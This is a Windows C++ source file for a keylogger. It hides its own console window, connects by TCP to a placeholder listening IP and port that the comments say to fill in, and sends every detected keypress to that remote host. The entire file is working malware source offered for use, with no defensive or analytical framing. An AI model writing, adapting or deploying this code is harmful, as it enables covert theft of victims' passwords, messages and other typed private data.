KeyLogger.cpp

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main()
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	char KEY;
	
	WSADATA WSAData;
	SOCKET server;
	SOCKADDR_IN addr;

	WSAStartup(MAKEWORD(2, 0), &WSAData);
	server = socket(AF_INET, SOCK_STREAM, 0);
	addr.sin_addr.s_addr = inet_addr("IP_ADDRESS"); // change IP_ADDRESS with your listening IP
	addr.sin_family = AF_INET;
	addr.sin_port = htons(PORT); // change PORT with your listening port
	connect(server, (SOCKADDR *)&addr, sizeof(addr));

		while (true) {
		Sleep(10);
		for (int KEY = 0x8; KEY < 0xFF; KEY++)
		{
			if (GetAsyncKeyState(KEY) == -32767) {

					char buffer[2];
					buffer[0] = KEY;
					send(server, buffer, sizeof(buffer), 0);
			}
		}
	}
	closesocket(server);
	WSACleanup();
}